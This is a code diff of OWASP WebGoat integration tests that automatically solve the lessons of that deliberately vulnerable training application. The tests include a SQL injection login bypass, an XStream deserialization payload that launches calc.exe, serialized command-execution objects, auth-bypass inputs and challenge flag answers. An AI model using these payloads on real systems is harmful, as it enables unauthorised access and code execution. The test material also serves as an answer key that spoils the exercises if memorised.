+public class ChallengeIntegrationTest extends IntegrationTest {
+
+    @Test
+    public void testChallenge1() {
+        startLesson("Challenge1");
+
+        byte[] resultBytes =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/challenge/logo"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asByteArray();
+
+        String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username", "admin");
+        params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
+
+
+        checkAssignment(url("/WebGoat/challenge/1"), params, true);
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .post(url("/WebGoat/challenge/1"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asString();
+
+        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+        params.clear();
+        params.put("flag", flag);
+        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
+
+
+        checkResults("/challenge/1");
+
+        List<String> capturefFlags =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/scoreboard-data"))
+                        .then()
+                        .statusCode(200)
+                        .extract().jsonPath()
+                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+        assertTrue(capturefFlags.contains("Admin lost password"));
+    }
+
+    @Test
+    public void testChallenge5() {
+        startLesson("Challenge5");
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username_login", "Larry");
+        params.put("password_login", "1' or '1'='1");
+
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .post(url("/WebGoat/challenge/5"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asString();
+
+        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+        params.clear();
+        params.put("flag", flag);
+        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
+
+
+        checkResults("/challenge/5");
+
+        List<String> capturefFlags =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/scoreboard-data"))
+                        .then()
+                        .statusCode(200)
+                        .extract().jsonPath()
+                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+        assertTrue(capturefFlags.contains("Without password"));
+    }
+
+}

src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java

@@ -14,16 +14,16 @@ import java.util.Map;
 import javax.xml.bind.DatatypeConverter;
 
 import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.crypto.CryptoUtil;
-import org.owasp.webgoat.crypto.HashingAssignment;
+import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
+import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
 
 import io.restassured.RestAssured;
 
-public class CryptoTest extends IntegrationTest {
+public class CryptoIntegrationTest extends IntegrationTest {
 
 	@Test
 	public void runTests() {
-		startLesson("Crypto");
+		startLesson("Cryptography");
 
 		checkAssignment2();
 		checkAssignment3();

src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java

@@ -1,16 +1,16 @@
 package org.owasp.webgoat;
 
+import org.dummy.insecure.framework.VulnerableTaskHolder;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
+
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
 
-import org.dummy.insecure.framework.VulnerableTaskHolder;
-import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.deserialization.SerializationHelper;
+public class DeserializationIntegrationTest extends IntegrationTest {
 
-public class DeserializationTest extends IntegrationTest {
-
-	private static String OS = System.getProperty("os.name").toLowerCase();
+    private static String OS = System.getProperty("os.name").toLowerCase();
 
     @Test
     public void runTests() throws IOException {
@@ -19,12 +19,12 @@ public class DeserializationTest extends IntegrationTest {
         Map<String, Object> params = new HashMap<>();
         params.clear();
 
-        if (OS.indexOf("win")>-1) {
-        	params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
+        if (OS.indexOf("win") > -1) {
+            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
         } else {
             params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
         }
-        checkAssignment(url("/WebGoat/InsecureDeserialization/task"),params,true);
+        checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
 
         checkResults("/InsecureDeserialization/");
 

src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java

@@ -0,0 +1,210 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.util.HashMap;
+import java.util.Map;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.Test;
+import org.springframework.util.StringUtils;
+
+public class GeneralLessonIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void httpBasics() {
+    startLesson("HttpBasics");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("person", "goatuser");
+    checkAssignment(url("HttpBasics/attack1"), params, true);
+
+    params.clear();
+    params.put("answer", "POST");
+    params.put("magic_answer", "33");
+    params.put("magic_num", "4");
+    checkAssignment(url("HttpBasics/attack2"), params, false);
+
+    params.clear();
+    params.put("answer", "POST");
+    params.put("magic_answer", "33");
+    params.put("magic_num", "33");
+    checkAssignment(url("HttpBasics/attack2"), params, true);
+
+    checkResults("/HttpBasics/");
+  }
+
+  @Test
+  public void httpProxies() {
+    startLesson("HttpProxies");
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("x-request-intercepted", "true")
+            .contentType(ContentType.JSON)
+            .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+
+    checkResults("/HttpProxies/");
+  }
+
+  @Test
+  public void cia() {
+    startLesson("CIA");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put(
+        "question_0_solution",
+        "Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
+    params.put(
+        "question_1_solution",
+        "Solution 1: By changing the names and emails of one or more users stored in a database.");
+    params.put(
+        "question_2_solution",
+        "Solution 4: By launching a denial of service attack on the servers.");
+    params.put(
+        "question_3_solution",
+        "Solution 2: The systems security is compromised even if only one goal is harmed.");
+    checkAssignment(url("/WebGoat/cia/quiz"), params, true);
+    checkResults("/cia/");
+  }
+
+  @Test
+  public void vulnerableComponents() {
+    if (StringUtils.hasText(System.getProperty("running.in.docker"))) {
+      String solution =
+          "<contact class='dynamic-proxy'>\n"
+              + "<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>\n"
+              + "  <handler class='java.beans.EventHandler'>\n"
+              + "    <target class='java.lang.ProcessBuilder'>\n"
+              + "      <command>\n"
+              + "        <string>calc.exe</string>\n"
+              + "      </command>\n"
+              + "    </target>\n"
+              + "    <action>start</action>\n"
+              + "  </handler>\n"
+              + "</contact>";
+      startLesson("VulnerableComponents");
+      Map<String, Object> params = new HashMap<>();
+      params.clear();
+      params.put("payload", solution);
+      checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
+      checkResults("/VulnerableComponents/");
+    }
+  }
+
+  @Test
+  public void insecureLogin() {
+    startLesson("InsecureLogin");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username", "CaptainJack");
+    params.put("password", "BlackPearl");
+    checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true);
+    checkResults("/InsecureLogin/");
+  }
+
+  @Test
+  public void securePasswords() {
+    startLesson("SecurePasswords");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("password", "ajnaeliclm^&&@kjn.");
+    checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
+    checkResults("SecurePasswords/");
+
+    startLesson("AuthBypass");
+    params.clear();
+    params.put("secQuestion2", "John");
+    params.put("secQuestion3", "Main");
+    params.put("jsEnabled", "1");
+    params.put("verifyMethod", "SEC_QUESTIONS");
+    params.put("userId", "12309746");
+    checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
+    checkResults("/auth-bypass/");
+
+    startLesson("HttpProxies");
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("x-request-intercepted", "true")
+            .contentType(ContentType.JSON)
+            .get(
+                url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+    checkResults("/HttpProxies/");
+  }
+
+  @Test
+  public void chrome() {
+    startLesson("ChromeDevTools");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("param1", "42");
+    params.put("param2", "24");
+
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("webgoat-requested-by", "dom-xss-vuln")
+            .header("X-Requested-With", "XMLHttpRequest")
+            .formParams(params)
+            .post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("output");
+    String secretNumber = result.substring("phoneHome Response is ".length());
+
+    params.clear();
+    params.put("successMessage", secretNumber);
+    checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
+
+    params.clear();
+    params.put("number", "24");
+    params.put("network_num", "24");
+    checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
+
+    checkResults("/ChromeDevTools/");
+  }
+
+  @Test
+  public void authByPass() {
+    startLesson("AuthBypass");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("secQuestion2", "John");
+    params.put("secQuestion3", "Main");
+    params.put("jsEnabled", "1");
+    params.put("verifyMethod", "SEC_QUESTIONS");
+    params.put("userId", "12309746");
+    checkAssignment(url("/auth-bypass/verify-account"), params, true);
+    checkResults("/auth-bypass/");
+  }
+
+  @Test
+  public void lessonTemplate() {
+    startLesson("LessonTemplate");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("param1", "secr37Value");
+    params.put("param2", "Main");
+    checkAssignment(url("/lesson-template/sample-attack"), params, true);
+    checkResults("/lesson-template/");
+  }
+}

src/it/java/org/owasp/webgoat/IDORIntegrationTest.java

@@ -19,7 +19,7 @@ import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
 import lombok.SneakyThrows;
 
-public class IDORTest extends IntegrationTest {
+public class IDORIntegrationTest extends IntegrationTest {
 	
 	@BeforeEach
     @SneakyThrows

src/it/java/org/owasp/webgoat/IntegrationTest.java

@@ -3,99 +3,51 @@ package org.owasp.webgoat;
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
 import lombok.Getter;
-import lombok.extern.slf4j.Slf4j;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeAll;
 import org.junit.jupiter.api.BeforeEach;
-import org.owasp.webwolf.WebWolf;
-import org.springframework.boot.builder.SpringApplicationBuilder;
 
-import java.io.IOException;
-import java.net.Socket;
 import java.util.Map;
-import java.util.UUID;
+import java.util.Objects;
 
 import static io.restassured.RestAssured.given;
 
-@Slf4j
 public abstract class IntegrationTest {
 
-    protected static int WG_PORT = 8080;
-    protected static int WW_PORT = 9090;
-    private static String WEBGOAT_HOSTNAME = "127.0.0.1";//"www.webgoat.local";
-    private static String WEBWOLF_HOSTNAME = "127.0.0.1";//"www.webwolf.local";
-    
-    /*
-     * To test docker compose/stack solution: 
-     * add localhost settings in hosts file: 127.0.0.1 www.webgoat.local www.webwolf.local
-     * Then set the above values to the specified host names and set the port to 80
-     */
-    
-    private static String WEBGOAT_HOSTHEADER = WEBGOAT_HOSTNAME +":"+WG_PORT;
-    private static String WEBWOLF_HOSTHEADER = WEBWOLF_HOSTNAME +":"+WW_PORT;
-    private static String WEBGOAT_URL = "http://" + WEBGOAT_HOSTHEADER + "/WebGoat/";
-    private static String WEBWOLF_URL = "http://" + WEBWOLF_HOSTHEADER + "/";
-    private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
-
+    private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
+    @Getter
+    private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
+    private static boolean useSSL = false;
+    private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
+    private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
     @Getter
     private String webGoatCookie;
     @Getter
     private String webWolfCookie;
     @Getter
-    private String webgoatUser = UUID.randomUUID().toString();
-
-    private static boolean started = false;
-
-    @BeforeAll
-    public static void beforeAll() {
-        if (WG_SSL) {
-            WEBGOAT_URL = WEBGOAT_URL.replace("http:", "https:");
-        }
-        if (!started) {
-            started = true;
-            if (!isAlreadyRunning(WG_PORT)) {
-                SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
-                        .properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
-                wgs.run();
-
-            }
-            if (!isAlreadyRunning(WW_PORT)) {
-                SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
-                        .properties(Map.of("spring.config.name", "application-webwolf,application-inttest", "WEBWOLF_PORT", WW_PORT));
-                wws.run();
-            }
-        }
-    }
-
-    private static boolean isAlreadyRunning(int port) {
-        try (var ignored = new Socket("127.0.0.1", port)) {
-            return true;
-        } catch (IOException e) {
-            return false;
-        }
-    }
+    private String user = "webgoat";
 
     protected String url(String url) {
         url = url.replaceFirst("/WebGoat/", "");
         url = url.replaceFirst("/WebGoat", "");
         url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
-        return WEBGOAT_URL + url;
+        return webgoatUrl + url;
     }
 
     protected String webWolfUrl(String url) {
+        url = url.replaceFirst("/WebWolf/", "");
+        url = url.replaceFirst("/WebWolf", "");
         url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
-        return WEBWOLF_URL + url;
+        return webWolfUrl + url;
     }
 
     @BeforeEach
     public void login() {
-
         String location = given()
                 .when()
                 .relaxedHTTPSValidation()
-                .formParam("username", webgoatUser)
+                .formParam("username", user)
                 .formParam("password", "password")
                 .post(url("login")).then()
                 .cookie("JSESSIONID")
@@ -105,7 +57,7 @@ public abstract class IntegrationTest {
             webGoatCookie = RestAssured.given()
                     .when()
                     .relaxedHTTPSValidation()
-                    .formParam("username", webgoatUser)
+                    .formParam("username", user)
                     .formParam("password", "password")
                     .formParam("matchingPassword", "password")
                     .formParam("agree", "agree")
@@ -119,7 +71,7 @@ public abstract class IntegrationTest {
             webGoatCookie = given()
                     .when()
                     .relaxedHTTPSValidation()
-                    .formParam("username", webgoatUser)
+                    .formParam("username", user)
                     .formParam("password", "password")
                     .post(url("login")).then()
                     .cookie("JSESSIONID")
@@ -130,12 +82,12 @@ public abstract class IntegrationTest {
         webWolfCookie = RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
-                .formParam("username", webgoatUser)
+                .formParam("username", user)
                 .formParam("password", "password")
-                .post(WEBWOLF_URL + "login")
+                .post(webWolfUrl("login"))
                 .then()
-                .cookie("WEBWOLFSESSION")
                 .statusCode(302)
+                .cookie("WEBWOLFSESSION")
                 .extract()
                 .cookie("WEBWOLFSESSION");
     }
@@ -150,13 +102,8 @@ public abstract class IntegrationTest {
                 .statusCode(200);
     }
 
-    /**
-     * At start of a lesson. The .lesson.lesson is visited and the lesson is reset.
-     *
-     * @param lessonName
-     */
     public void startLesson(String lessonName) {
-        startLesson(lessonName, true);
+        startLesson(lessonName, false);
     }
 
     public void startLesson(String lessonName, boolean restart) {
@@ -169,25 +116,16 @@ public abstract class IntegrationTest {
                 .statusCode(200);
 
         if (restart) {
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/restartlesson.mvc"))
-                .then()
-                .statusCode(200);
+            RestAssured.given()
+                    .when()
+                    .relaxedHTTPSValidation()
+                    .cookie("JSESSIONID", getWebGoatCookie())
+                    .get(url("service/restartlesson.mvc"))
+                    .then()
+                    .statusCode(200);
         }
     }
 
-    /**
-     * Helper method for most common type of test.
-     * POST with parameters.
-     * Checks for 200 and lessonCompleted as indicated by expectedResult
-     *
-     * @param url
-     * @param params
-     * @param expectedResult
-     */
     public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
         MatcherAssert.assertThat(
                 RestAssured.given()
@@ -201,17 +139,8 @@ public abstract class IntegrationTest {
                         .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
     }
 
-    /**
-     * Helper method for most common type of test.
-     * PUT with parameters.
-     * Checks for 200 and lessonCompleted as indicated by expectedResult
-     *
-     * @param url
-     * @param params
-     * @param expectedResult
-     */
     public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
-    	MatcherAssert.assertThat(
+        MatcherAssert.assertThat(
                 RestAssured.given()
                         .when()
                         .relaxedHTTPSValidation()
@@ -245,12 +174,12 @@ public abstract class IntegrationTest {
                 .get(url("service/lessonoverview.mvc"))
                 .andReturn();
 
-    	MatcherAssert.assertThat(result.then()
+        MatcherAssert.assertThat(result.then()
                 .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
     }
 
     public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
-    	MatcherAssert.assertThat(
+        MatcherAssert.assertThat(
                 RestAssured.given()
                         .when()
                         .relaxedHTTPSValidation()
@@ -264,8 +193,7 @@ public abstract class IntegrationTest {
     }
 
     public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
-        log.info("Checking assignment for: {}", url);
-    	MatcherAssert.assertThat(
+        MatcherAssert.assertThat(
                 RestAssured.given()
                         .when()
                         .relaxedHTTPSValidation()
@@ -277,40 +205,26 @@ public abstract class IntegrationTest {
                         .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
     }
 
-    public String getWebGoatServerPath() throws IOException {
-
-        //read path from server
-        String result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/WebGoat/xxe/tmpdir"))
-                .then()
-                .extract().response().getBody().asString();
-        result = result.replace("%20", " ");
-        return result;
-    }
-
-    public String getWebWolfServerPath() throws IOException {
-
-        //read path from server
+    public String getWebWolfFileServerLocation() {
         String result = RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/tmpdir"))
+                .get(webWolfUrl("/file-server-location"))
                 .then()
                 .extract().response().getBody().asString();
         result = result.replace("%20", " ");
         return result;
     }
 
-    /**
-     * In order to facilitate tests with 
-     * @return
-     */
-    public String getWebWolfHostHeader() {
-    	return WEBWOLF_HOSTHEADER;
+    public String webGoatServerDirectory() {
+        return RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("/server-directory"))
+                .then()
+                .extract().response().getBody().asString();
     }
 
 }

src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java

@@ -14,7 +14,6 @@ import java.util.Map;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.jwt.JWTSecretKeyEndpoint;
 
 import com.fasterxml.jackson.databind.JsonNode;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -28,12 +27,12 @@ import io.jsonwebtoken.Jwts;
 import io.jsonwebtoken.SignatureAlgorithm;
 import io.jsonwebtoken.impl.TextCodec;
 import io.restassured.RestAssured;
+import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
 
-public class JWTLessonTest extends IntegrationTest {
+public class JWTLessonIntegrationTest extends IntegrationTest {
 	
     @Test
     public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
-
     	startLesson("JWT");
 
     	decodingToken();
@@ -49,7 +48,6 @@ public class JWTLessonTest extends IntegrationTest {
 		quiz();
         
         checkResults("/JWT/");
-
     }
     
     private String generateToken(String key) {
@@ -210,7 +208,7 @@ public class JWTLessonTest extends IntegrationTest {
 	private void quiz() { 
 		Map<String, Object> params = new HashMap<>();
 		params.put("question_0_solution", "Solution 1");
-		params.put("question_1_solution", "Solution 3");
+		params.put("question_1_solution", "Solution 2");
 
 		checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
 	}

src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java

@@ -0,0 +1,170 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import io.restassured.path.json.JsonPath;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.List;
+import java.util.Properties;
+
+public class LabelAndHintIntegrationTest extends IntegrationTest {
+
+    final static String ESCAPE_JSON_PATH_CHAR = "\'";
+
+    @Test
+    public void testSingleLabel() {
+        Assertions.assertTrue(true);
+        JsonPath jsonPath = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language","en")
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
+
+        Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR));
+
+        // check if lang parameter overrules Accept-Language parameter
+        jsonPath = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language","en")
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath();
+        Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+
+        jsonPath = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language","en")
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath();
+        Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+
+        // check if invalid language returns english
+        jsonPath = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language","nl")
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath();
+        Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+
+        // check if invalid language returns english
+        jsonPath = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language","xx_YY")
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
+        Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+
+    }
+
+    @Test
+    public void testHints() {
+        JsonPath jsonPathLabels = getLabels("en");
+        List<String> allLessons = List.of(
+                "HttpBasics",
+                "HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal",
+                "XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession",
+                "SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced",
+                "Challenge1");
+        for (String lesson: allLessons) {
+            startLesson(lesson);
+            List<String> hintKeys = getHints();
+            for (String key : hintKeys) {
+                String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
+                //System.out.println("key: " + key + " ,value: " + keyValue);
+                Assertions.assertNotNull(keyValue);
+                Assertions.assertNotEquals(key, keyValue);
+            }
+        }
+        //Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0));
+    }
+
+    @Test
+    public void testLabels() {
+
+        JsonPath jsonPathLabels = getLabels("en");
+        Properties propsDefault = getProperties("");
+        for (String key: propsDefault.stringPropertyNames()) {
+            String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);
+            Assertions.assertNotNull(keyValue);
+        }
+        checkLang(propsDefault,"nl");
+        checkLang(propsDefault,"de");
+        checkLang(propsDefault,"fr");
+        checkLang(propsDefault,"ru");
+
+    }
+
+    private Properties getProperties(String lang) {
+        Properties prop = null;
+        if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
+        try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
+
+            prop = new Properties();
+            // load a properties file
+            prop.load(input);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return prop;
+    }
+
+    private void checkLang(Properties propsDefault, String lang) {
+        JsonPath jsonPath = getLabels(lang);
+        Properties propsLang = getProperties(lang);
+
+        for (String key: propsLang.stringPropertyNames()) {
+            if (!propsDefault.containsKey(key)) {
+                System.err.println("key: " + key + " in (" +lang+") is missing from default properties");
+                Assertions.fail();
+            }
+            if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {
+                System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
+                System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));
+                System.out.println("expected: "+propsLang.getProperty(key));
+                System.out.println();
+                Assertions.fail();
+            }
+        }
+    }
+
+    private JsonPath getLabels(String lang) {
+        return RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language",lang)
+                .cookie("JSESSIONID", getWebGoatCookie())
+                //.log().headers()
+                .get(url("service/labels.mvc"))
+                .then()
+                //.log().all()
+                .statusCode(200).extract().jsonPath();
+    }
+
+    private List<String> getHints() {
+        JsonPath jsonPath = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/hint.mvc"))
+                .then()
+                //.log().all()
+                .statusCode(200).extract().jsonPath();
+        return jsonPath.getList("hint");
+    }
+
+}

src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java

@@ -15,7 +15,7 @@ import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 import java.util.Arrays;
 import java.util.Map;
 
-public class PasswordResetLessonTest extends IntegrationTest {
+public class PasswordResetLessonIntegrationTest extends IntegrationTest {
 
 	@BeforeEach
     @SneakyThrows
@@ -24,9 +24,9 @@ public class PasswordResetLessonTest extends IntegrationTest {
     }
 	
 	@TestFactory
-    Iterable<DynamicTest> testPathTraversal() {
+    Iterable<DynamicTest> passwordResetLesson() {
     	return Arrays.asList(
-    			dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailabeInWebWolf()),
+    			dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
     			dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
     			dynamicTest("assignment 2 - simple reset",()-> assignment2()),
     			dynamicTest("assignment 4 - guess questions",()-> assignment4()),
@@ -34,18 +34,15 @@ public class PasswordResetLessonTest extends IntegrationTest {
     			);
     }
 	public void assignment2() {
-		
-		checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", getWebgoatUser()+"@webgoat.org"), false);
-		checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", getWebgoatUser()+"@webgoat.org", "password", StringUtils.reverse(getWebgoatUser())), true);
+		checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
+		checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
 	}
 	
 	public void assignment4() {
-        
         checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
     }
 	
 	public void assignment5() {
-        
         checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
         checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
     }
@@ -63,9 +60,8 @@ public class PasswordResetLessonTest extends IntegrationTest {
         checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
     }
 
-    public void sendEmailShouldBeAvailabeInWebWolf() {
-
